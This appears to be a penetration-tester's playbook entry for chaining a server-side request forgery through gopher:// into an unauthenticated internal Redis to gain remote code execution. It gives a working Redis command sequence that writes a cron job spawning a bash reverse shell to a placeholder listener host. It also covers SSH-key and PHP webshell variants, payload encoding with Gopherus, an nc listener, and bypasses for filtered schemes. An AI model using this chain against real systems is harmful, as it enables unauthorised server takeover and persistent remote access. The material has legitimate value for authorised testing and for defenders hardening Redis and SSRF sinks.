SSRF → internal Redis → RCE via gopher://
When it applies
- You have a confirmed SSRF: the app fetches a URL you control (webhook, "import from
URL", link preview, avatar-by-URL, headless PDF, XXE-to-SSRF), and it will follow
gopher://(curl-backed fetchers commonly do). - An internal Redis is reachable from the app host (
127.0.0.1:6379or a Docker service) and is unauthenticated (default) or you know the password.
Why it works
Redis speaks a simple newline/inline text protocol. gopher:// lets you send arbitrary
raw bytes to a TCP port, so you can pipeline real Redis commands through the SSRF.
Redis can write files (CONFIG SET dir + dbfilename + SAVE), so you overwrite a file
that gets executed: a cron job, ~/.ssh/authorized_keys, or a web-root PHP file.
Method
- Confirm SSRF reaches Redis: point the SSRF at
gopher://127.0.0.1:6379/_PINGand look for+PONGbehaviour / no error (or a timing/response difference). - Pick a write primitive based on what the Redis user can write:
- Cron (Redis running as root, Debian/Ubuntu): write to
/var/spool/cron/crontabs/rootor/etc/cron.d/xa reverse-shell line. - SSH key: write your pubkey to a user's
~/.ssh/authorized_keys(dir=/root/.ssh,dbfilename=authorized_keys). - Webshell: if you know the web root,
dir=/var/www/html,dbfilename=shell.php.
- Cron (Redis running as root, Debian/Ubuntu): write to
- Build the Redis command sequence (example — cron reverse shell):
flushall set x "\n\n*/1 * * * * root bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'\n\n" config set dir /etc/cron.d config set dbfilename runme save - Encode to a gopher URL: each command as a CRLF-terminated line, URL-encode
(
%0D%0Abetween commands), prefixgopher://127.0.0.1:6379/_. Use Gopherus (gopherus --exploit redis) to generate the payload correctly — hand-encoding is error-prone. - Deliver the gopher URL through the SSRF sink; start your listener; wait for cron (≤60s) or use the SSH key / webshell immediately.
Tools
- Gopherus — auto-builds gopher payloads for redis/mysql/postgres/fastcgi/smtp. Fastest, correct encoding.
redis-cli(to understand the commands first),nc -lvnp <port>listener,ssh-keygenfor the key path.
Gotchas
- Newlines matter: pad the cron value with leading/trailing
\nso Redis's RDB dump garbage doesn't break the crontab line. Cron also requires a trailing newline and (in/etc/cron.d/ crontabs/root) therootuser field. - Redis ≥ some builds run as
redisuser, not root → cron-as-root fails; fall back to an SSH key for theredisuser or a webshell in a writable web root. - Protected mode / auth: newer Redis binds localhost & may need
AUTH <pass>; if reachable only via SSRF from localhost it's usually exploitable. - If
gopher://is filtered, trydict://for single commands, or FastCGI via gopher for PHP-FPM RCE.
Verify success
gopher://…/_PING behaviour differs from a closed port; after SAVE, your listener
catches a shell (cron) or the SSH key logs in. CONFIG GET dir echoing your path confirms
the write target was accepted.
Learned on
Reference technique (common SSRF-chain pattern). Capture the target-specific SSRF sink and the exact writable path in your engagement notes when you use it.